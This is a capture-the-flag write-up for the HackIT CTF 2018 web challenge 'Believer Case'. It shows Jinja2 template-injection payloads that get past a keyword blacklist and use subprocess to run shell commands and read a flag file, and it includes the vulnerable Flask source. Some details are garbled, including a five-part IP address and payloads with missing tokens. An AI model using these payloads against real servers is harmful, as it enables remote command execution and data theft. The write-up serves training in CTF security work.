HABOOB

HACKIT CTF 2018 WRITE-UP

Web Challenges - Believer Case

CHALLENGE DESCRIPTION

> We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you?
>
> http://185.168.131.131.123/

SOLUTION

This is web application was vulnerable to template injection, sending {{7*7}} rendered 49.

sending {{7*'7'}} rendered 7777777, that confirmed to me that its jinja2 engine.

This was filtering out a couple of keywords such as: pop, self, config," [ ] " , to make the

exploitation harder. Because it filtered the word "config", we thought the challenge is to read the config, so we used bulletins function to get the config, changing app object to dict and using __getitem__ to replace the use of "[ ]".

```
{{app.__init__.__globals__.sys.modules.app.app.__dict__.values().__getitem__(16)}}
```

The config didn't get us anywhere, so we look for command execution. We did the same as before, identifying subprocess module and convert it to dict and access it.

```
{{app.__init__.__globals__.sys.modules..values().__getitem__(16).check_output(("ls" , "-la"))}}
```

Which result in:

```
total 16
        drwxr-xr-x 2 root root 4096 Sep  8 10:40 .
        drwxr-xr-x 4 root root 4096 Sep  8 01:46 ..
        -rw-r--r-- 1 root root  891 Sep  8 10:40 app.py
        -rw-r--r-- 1 root root   83 Sep  8 01:57 flag_secret_file_910230912900891283
```

So:

```
{{app.__init__.__globals__.sys.modules..values().__getitem__(16).check_output(("cat" ,
"flag_secret_file_910230912900891283"))}}

flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}
```

app.py

```
from flask import Flask, render_template, render_template_string

app = Flask(__name__)

def blacklist_replace(template):

    blacklist = ['[',']','config','self','from_pyfile','|','join','mro','class','request','pop','attr','args','+']

    for b in blacklist:

        if b in template:

            template=template.replace(b,'')

    return template

@app.route('/')

def index_template():

    return 'Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href="/test">See this</a>'

@app.route('/<path:template>')

def blacklist_template(template):

    if len(template) > 10000:

        return 'This is too long'

    while blacklist_replace(template) != template:

        template = blacklist_replace(template)

    return render_template_string(template)

if __name__ == "__main__":

    app.run(debug=False)
```